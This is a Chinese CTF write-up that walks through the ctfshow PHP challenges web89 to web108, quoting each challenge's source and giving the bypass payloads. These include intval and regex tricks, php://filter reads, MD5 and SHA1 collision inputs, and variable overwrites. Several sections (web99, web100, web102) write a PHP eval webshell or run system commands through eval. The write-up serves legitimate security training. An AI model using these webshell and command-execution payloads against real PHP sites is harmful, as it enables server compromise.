web89

image-20220326213708674

源码开局

intval()函数用于获取变量的整数值

intval()函数通过使用指定的进制base转换(默认是十进制)返回变量var的integer数值.intval()不能用于object,否则会产生E_NOTICE错误并返回1

preg_match()函数:判断输入的值是否存在指定字符

preg_match()函数无法处理数组,这里发现匹配到数字就死,但是intval()中又必须是数字,所以只能有一个不执行.那么要利用intval的话只能上面不执行,所以只要传个数组

image-20220326214706034

web90

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 16:06:11
email: h1xa@ctfer.com
link: https://ctfer.com

*/


include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}else{
echo intval($num,0);
}
}

?num=4476a		弱类型
?num=0x117c 十六进制
?num=4476.0 小数点
?num=+4476 正负号
?num=4476e1 科学计数法
?num=010574 八进制
?num= 010574 八进制加空格

web91

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 16:16:09
link: https://ctfer.com

*/

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
if(preg_match('/^php$/i', $a)){
echo 'hacker';
}
else{
echo $flag;
}
}
else{
echo 'nonononono';
}

m表示匹配多行

?cmd=11%0aphp

image-20220403222600621

i
不区分大小写

m
多(more)行匹配,若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配

s
特殊字符圆点.中包含换行符.默认的圆点.是匹配除换行符\n之外的任何单字符,加上s之后,.包含换行符

A
强制从目标字符串开头匹配

D
如果使用$限制结束字符,则不允许结尾有换行符

e
配合函数preg_replace()使用,可以把匹配来的字符串当作正则表达式来执行

web92

 <?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 16:29:30
link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
int intval ( mixed $var [, int $base = 10 ] )

参数说明:

$var:要转换成 integer 的数量值。
$base:转化所使用的进制。

base如果是0,通过检测,var的格式来决定使用的进制
如果包含了0x的前缀,使用16进制(hex);
如果使用0开头,使用8进制
否则使用十进制
?num=0x117c		十六进制
?num=4476e1 科学计数法
?num=010574 八进制
?num= 010574 八进制加空格

intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取 但是e这个字母比较特殊,可以再php中不是科学计数法.所以就可以构造4476e123.在弱类型比较适合,4476e123是科学计数法4476*10^123,而在intval函数中,遇到字母就停止读取,因此是4476.

web93

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 16:32:58
link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(intval($num,0)==4476){
echo $flag;
}else{
echo intval($num,0);
}
}
?num=010574     八进制
?num= 010574 八进制加空格

web94

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 16:46:19
link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==="4476"){
die("no no no!");
}
if(preg_match("/[a-z]/i", $num)){
die("no no no!");
}
if(!strpos($num, "0")){
die("no no no!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
strpos() 函数
strpos() 函数查找字符串在另一字符串中第一次出现的位置

必须要找到0,并且不能在第一位

?num=4476.0		小数点
?num=4476@0 特殊字符
?num= 010574 八进制加空格

好多都可以

image-20220403224744676

image-20220403224856742

web95

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 16:53:59
link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
$num = $_GET['num'];
if($num==4476){
die("no no no!");
}
if(preg_match("/[a-z]|\./i", $num)){
die("no no no!!");
}
if(!strpos($num, "0")){
die("no no no!!!");
}
if(intval($num,0)===4476){
echo $flag;
}
}
?num= 010574	八进制加空格
?num=%20010574 正负号八进制

web96

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 19:21:24
link: https://ctfer.com

*/


highlight_file(__FILE__);

if(isset($_GET['u'])){
if($_GET['u']=='flag.php'){
die("no no no");
}else{
highlight_file($_GET['u']);
}


}


?u=php://filter/read=convert.base64-encode/resource=flag.php
?u=/var/www/html/flag.php 绝对路径
?u=./flag.php 相对路径
?u=php://filter/resource=flag.php php伪协议

web97

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 19:36:32
link: https://ctfer.com

*/

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

php中md5()函数无法处理数组
a[]=1&b[]=2

md5碰撞
a=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

&b=%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%6d%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%27%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%66%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%96%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%b3%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%ef%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%5f%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%f3%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%e9%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%13%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%a8%1b%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%39%05%39%95%ab

在送一个
%af%13%76%70%82%a0%a6%58%cb%3e%23%38%c4%c6%db%8b%60%2c%bb%90%68%a0%2d%e9%47%aa%78%49%6e%0a%c0%c0%31%d3%fb%cb%82%25%92%0d%cf%61%67%64%e8%cd%7d%47%ba%0e%5d%1b%9c%1c%5c%cd%07%2d%f7%a8%2d%1d%bc%5e%2c%06%46%3a%0f%2d%4b%e9%20%1d%29%66%a4%e1%8b%7d%0c%f5%ef%97%b6%ee%48%dd%0e%09%aa%e5%4d%6a%5d%6d%75%77%72%cf%47%16%a2%06%72%71%c9%a1%8f%00%f6%9d%ee%54%27%71%be%c8%c3%8f%93%e3%52%73%73%53%a0%5f%69%ef%c3%3b%ea%ee%70%71%ae%2a%21%c8%44%d7%22%87%9f%be%79%ed%c4%61%a4%08%57%02%82%2a%ef%36%95%da%ee%13%bc%fb%7e%a3%59%45%ef%25%67%3c%e0%a7%69%2b%95%77%b8%cd%dc%4f%de%73%24%e8%ab%e6%74%d2%8c%68%06%80%0c%dd%74%ae%31%05%d1%15%7d%c4%5e%bc%0b%0f%21%23%a4%16%7c%17%12%d1%2b%b3%10%b7%37%60%68%d7%cb%35%5a%54%97%08%0d%54%78%49%d0%93%c3%33%fd%1f%0b%35%11%9d%96%1d%ba%64%e0%86%ad%6f%52%98%2d%84%12%77%bb%ab%e8%64%da%a3%65%55%5d%d5%76%55%57%46%6c%89%c9%df%b2%3c%85%97%1e%f6%38%66%c9%17%22%e7%ea%c9%f5%d2%e0%14%d8%35%4f%0a%5c%34%d3%73%a5%98%f7%66%72%aa%43%e3%bd%a2%cd%62%fd%69%1d%34%30%57%52%ab%41%b1%91%65%f2%30%7f%cf%c6%a1%8c%fb%dc%c4%8f%61%a5%93%40%1a%13%d1%09%c5%e0%f7%87%5f%48%e7%d7%b3%62%04%a7%c4%cb%fd%f4%ff%cf%3b%74%28%1c%96%8e%09%73%3a%9b%a6%2f%ed%b7%99%d5%b9%05%39%95%ab

md5强碰撞收集

web98


Notice: Undefined index: flag in /var/www/html/index.php on line 15

Notice: Undefined index: flag in /var/www/html/index.php on line 16

Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17
<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 21:39:27
link: https://ctfer.com

*/

include("flag.php");
$_GET?$_GET=&$_POST:'flag';#如果get存在get就等于post,否则get就等于flag
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';#如果get的flag=flag那么get等于cookie否则get等于flag
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
#如果getHTTP_FLAG等于flag输出flag否则输出__FILE__
?>

当get传入值时,get就等于post,那么post传入值也就是get传入值,所以get随便传一个然后post HTTP_FLAG等于flag

image-20220404114658416

web99

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-18 22:36:12
link: https://ctfer.com

*/

highlight_file(__FILE__);
$allow = array();#定义一个allow数组
for ($i=36; $i < 0x36d; $i++) { 0x36d=877
array_push($allow, rand(1,$i));#像数组的尾部插入一个或者多个元素
}#如果设置了n并且n在allow中,这里的在的含义是==也就是弱类型
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
file_put_contents($_GET['n'], $_POST['content']);
}#就把content写入n中

?>

传一个

?n=1.php
post
content=<?php @eval($_POST[zf]);?>

至于这里为什么传一,是因为range(1,$i)中每次都包含1,所以1的概率最大

image-20220404120628243

image-20220404120134056

接着去访问这个文件

image-20220404120158331

image-20220404120721930

web100

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-21 22:10:28
link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\;/", $v2)){
if(preg_match("/\;/", $v3)){
eval("$v2('ctfshow')$v3");
}
}
}
?>

is_numeric() 函数用于检测变量是否为数字或数字字符串。
bool is_numeric ( mixed $var )
参数说明:
$var:要检测的变量。
返回值
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE,注意浮点型返回 1,即 TRUE。

and 与 &&

因为赋值运算的优先级比AND和OR的高,所以先赋值;比&&和||的低,所以逻辑运算符先执行,先逻辑运算,再赋值

<?php
$v0=true and false and false;
echo var_dump($v0);

$v0=true && false &&false;
echo var_dump($v0);
?>
#bool(true)
#bool(false)

那么这里只要$v1是数字就可以返回$v0为true

反射类ReflectionClass使用

可以直接输出这个类,也就是构造出echo new ReflectionClass(‘ctfshow’);

?v1=1&v2=echo new ReflectionClass&v3=;

image-20220404123333490

反射类不仅仅可以建立对类的映射,也可以建立对php方法的映射,返回对php基本方法的映射,返回基本方法的执行情况,因此可以通过建立

new ReflectionClass(system('dir'));

image-20220404123544581

对反射类的理解

<?php
class A{
public static $flag="flag{123123123}";
const PI=3.14;
static function hello(){
echo "hello</br>";
}
}
$a=new ReflectionClass('A');


var_dump($a->getConstants()); 获取一组常量
输出
array(1) {
["PI"]=>
float(3.14)
}

var_dump($a->getName()); 获取类名
输出
string(1) "A"

var_dump($a->getStaticProperties()); 获取静态属性
输出
array(1) {
["flag"]=>
string(15) "flag{123123123}"
}

var_dump($a->getMethods()); 获取类中的方法
输出
array(1) {
[0]=>
object(ReflectionMethod)#2 (2) {
["name"]=>
string(5) "hello"
["class"]=>
string(1) "A"
}
}

非预期解

直接输出$ctfshow	
构造 var_dump($ctfshow);
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
过滤不多可以直接执行命令
?v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
?v1=1&v2=system('ls')&v3=-1;
flag_is_ab5f4bb70x2df6d60x2d47470x2dbd3a0x2de12e3c8a7416
ctfshow{ab5f4bb7-f6d6-4747-bd3a-e12e3c8a7416}
要构造一下,将0x2b转换成-哦

web101

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-22 00:26:48
link: https://ctfer.com

*/

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
eval("$v2('ctfshow')$v3");
}
}

}

?>

Notice: Undefined index: v1 in /var/www/html/index.php on line 17

Notice: Undefined index: v2 in /var/www/html/index.php on line 18

Notice: Undefined index: v3 in /var/www/html/index.php on line 19

这里将上一关的非预期给过滤了

?v1=1&v2=echo new ReflectionClass&v3=;

image-20220404132535124

还是要构造一下

flag_649e19730x2d39050x2d4cb20x2d900b0x2d3b4c30b15a4
ctfshow{649e1973-3905-4cb2-900b-3b4c30b15a4}要爆破最后一位哦
ctfshow{ab5f4bb7-f6d6-4747-bd3a-e12e3c8a7416}#上关的少一位

web102

 <?php

/*
# -*- coding: utf-8 -*-
Author: atao
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-23 20:59:43

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);#这里是从第二个开始,也就是去除前面两个字符
$str = call_user_func($v1,$s);#调用v1函数,并传入$s
echo $str;
file_put_contents($v3,$str);#将str也就是v2写入v3中
}
else{
die('hacker');
}


?>

call_user_func — 把第一个参数作为回调函数调用

说明
mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )
第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。

参数
callback
将被调用的回调函数(callable)。

parameter
0个或以上的参数,被传入回调函数,可以是数组。

在php5的环境中,是可以识别16进制的,也就是说,如果传入v2=0x66也是可以识别为数字的

var_dump(is_numeric("0x66"));  php5的环境下返回true  php7返回false

之后经过substr的截断也就剩下了66,不带0x的,这里就可以通过调用hex2bin将16进制转换成字符串从而写入木马文件.这里至于为什么要截取两个字符出去,就是因为hex2bin如果参数中带有0x会报错

<?php
echo hex2bin('66');
echo hex2bin('0x66');
PHP Warning: hex2bin(): Input string must be hexadecimal string in D:\Download\PHP1.php on line 3
f
Warning: hex2bin(): Input string must be hexadecimal string in D:\Download\PHP1.php on line 3

那么这里就很清晰了

<?php @eval($_POST[zf]);?>  ->  0x3c3f70687020406576616c28245f504f53545b7a665d293b3f3e
?v2=0x3c3f70687020406576616c28245f504f53545b7a665d293b3f3e&v3=1.php
POST
v1=hex2bin

但是经过尝试,这里是不可以的哦

因为在php7的环境下

var_dump(is_numeric("0x3c3f706870206576616c28245f504f53545b315d293b3f3e"));  
下返回false

那么我们就必须要让v2均为数字,那就要利用伪协议把内容进行编码转换找到一条语句经过base64编码后再转换为16进制全是数字的.

$a="<?=`cat *`;";
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //这里直接用去掉=的base64

# 5044383959474e6864434171594473
如果$c全部都是纯数字就可以了。
带e的话会被认为是科学计数法,可以通过is_numeric检测。
大家可以尝试下去掉=和带着=的base64解码出来的内容是相同的。因为等号在base64中只是起到填充的作用,不影响具体的数据内容。
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST
v1=hex2bin

image-20220404164440314

image-20220404164449225

web103

 <?php

/*
# -*- coding: utf-8 -*-
Author: atao
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-23 21:03:24

*/


highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
$s = substr($v2,2);
$str = call_user_func($v1,$s);
echo $str;
if(!preg_match("/.*p.*h.*p.*/i",$str)){#匹配hex2bin解码后有没有php
file_put_contents($v3,$str);
}
else{
die('Sorry');
}
}
else{
die('hacker');
}

?>

用上一关的可过

?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php
POST
v1=hex2bin

image-20220404164923311

image-20220404164932046

web104

 <?php

/*
# -*- coding: utf-8 -*-
Author: atao
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-28 22:27:20

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2)){
echo $flag;
}
}



?>

这里并没有判断v1等不等与v2那么直接

?v2=a
POST
v1=a

image-20220404165521198

但是应该不会这么简单,那么还是利用php的sha1()函数无法处理数组绕过

?v2[]=1
POST
v1[]=a

image-20220404165627265

由于是弱类型比较,那么就可以通过

aaroZmOk		0e66507019969427134894567494305185566735
aaK1STfY 0e76658526655756207688271159624026011393
aaO8zKZF 0e89257456677279068558073954252716165668
aa3OFF9m 0e36977786278517984959260394024281014729

可见这里的全都是0e开头,那么在弱类型相等的时候0e就是0自然相等,因此也可以传

?v2=aaroZmOk
POST
v1=aaK1STfY

image-20220404173820780

sha1碰撞一下

<?php
// 不需要base64时,可直接使用以下payload
$a = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1";
$b = "%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1";
print_r(urlencode(base64_encode(urldecode($a))));
echo "\n";
print_r(urlencode(base64_encode(urldecode($b))));
?>

image-20220404174012565

web105

<?php

/*
# -*- coding: utf-8 -*-
Author: Firebasky
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-28 22:34:07

*/

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){#循环$_GET数组中的元素
if($key==='error'){#如果$key===error就结束
die("what are you doing?!");
}
$$key=$$value;#key中的所有值赋值为value
}foreach($_POST as $key => $value){
if($value==='flag'){#如果post的值为flag就结束
die("what are you doing?!");
}
$$key=$$value;
}
if(!($_POST['flag']==$flag)){#如果post的flag不等于flag就结束
die($flag);
}
echo "your are good".$flag."\n";
die($suces);

?>
你还想要flag嘛?

简单分析一下,如果$error就是$flag就可以直接输出flag,那么我们需要让$error为$flag.第一种想法,就是在post中给$key赋值为error给$value复制为flag,但是这里value的值是不能是flag的,那么仔细观察就可以发现在get中的值可以是flag,但是key的值不能是error.所以我们就可以给get中的key赋值一个中间变量来进行传递一下flag.

GET
tmp=flag -> $tmp = $flag
POST
error=tmp -> $error = $tmp = $flag -> $error = $flag

传入

?tmp=flag
POST
error=tmp

image-20220404180119820

当然也可以利用suces输出那么就需要$suces的只是$flag,接着绕过post的$flag不等于$flag.也就是说post的flag要等于$flag的值,我们不知道$flag的值怎么实现,可以利用post中foreach循环中的赋值将post的flag的值赋值为空

GET
suces=flag -> $suces = $flag
POST
flag= -> $flag = NULL 正好if中的也flag=NULL $flag=NULL刚好绕过die($flag)
?suces=flag
POST
flag=

image-20220404181012634

web106

 <?php

/*
# -*- coding: utf-8 -*-
Author: atao
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-28 22:38:27

*/


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
if(sha1($v1)==sha1($v2) && $v1!=$v2){
echo $flag;
}
}



?>

?v2[]=1
POST
v1[]=a

image-20220404181358393

?v2=aaroZmOk
POST
v1=aaK1STfY

image-20220404181433045

?v2=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01sF%DC%91f%B6%7E%11%8F%02%9A%B6%21%B2V%0F%F9%CAg%CC%A8%C7%F8%5B%A8Ly%03%0C%2B%3D%E2%18%F8m%B3%A9%09%01%D5%DFE%C1O%26%FE%DF%B3%DC8%E9j%C2/%E7%BDr%8F%0EE%BC%E0F%D2%3CW%0F%EB%14%13%98%BBU.%F5%A0%A8%2B%E31%FE%A4%807%B8%B5%D7%1F%0E3.%DF%93%AC5%00%EBM%DC%0D%EC%C1%A8dy%0Cx%2Cv%21V%60%DD0%97%91%D0k%D0%AF%3F%98%CD%A4%BCF%29%B1
POST
v1=%25PDF-1.3%0A%25%E2%E3%CF%D3%0A%0A%0A1%200%20obj%0A%3C%3C/Width%202%200%20R/Height%203%200%20R/Type%204%200%20R/Subtype%205%200%20R/Filter%206%200%20R/ColorSpace%207%200%20R/Length%208%200%20R/BitsPerComponent%208%3E%3E%0Astream%0A%FF%D8%FF%FE%00%24SHA-1%20is%20dead%21%21%21%21%21%85/%EC%09%239u%9C9%B1%A1%C6%3CL%97%E1%FF%FE%01%7FF%DC%93%A6%B6%7E%01%3B%02%9A%AA%1D%B2V%0BE%CAg%D6%88%C7%F8K%8CLy%1F%E0%2B%3D%F6%14%F8m%B1i%09%01%C5kE%C1S%0A%FE%DF%B7%608%E9rr/%E7%ADr%8F%0EI%04%E0F%C20W%0F%E9%D4%13%98%AB%E1.%F5%BC%94%2B%E35B%A4%80-%98%B5%D7%0F%2A3.%C3%7F%AC5%14%E7M%DC%0F%2C%C1%A8t%CD%0Cx0Z%21Vda0%97%89%60k%D0%BF%3F%98%CD%A8%04F%29%A1

image-20220404181516803

web107

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-28 23:24:14

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
$v1 = $_POST['v1'];
$v3 = $_GET['v3'];
parse_str($v1,$v2);
if($v2['flag']==md5($v3)){
echo $flag;
}

}



?>

 parse_str() 函数
parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,则由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

那么如果给v3传一个1的话就需要让数组v2中的flag的值为1的MD5值,所以v1=flag= c4ca4238a0b923820dcc509a6f75849b

?v3=1
POST
v1=flag=c4ca4238a0b923820dcc509a6f75849b

image-20220404183227983

web108

 <?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2020-09-16 11:25:09
Last Modified by: h1xa
Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE) {
die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
echo $flag;
}

?>
error
1、ereg()用途

ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字母的字符是大小写敏感的。

可选的输入参数规则包含一个数组的所有匹配表达式,他们被正则表达式的括号分组。
2、题中ereg()正则限制了password的形式,只能是一个或者多个数字、大小写字母
3、strpos() 函数查找字符串在另一字符串中第一次出现的位置(区分大小写)
4、ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
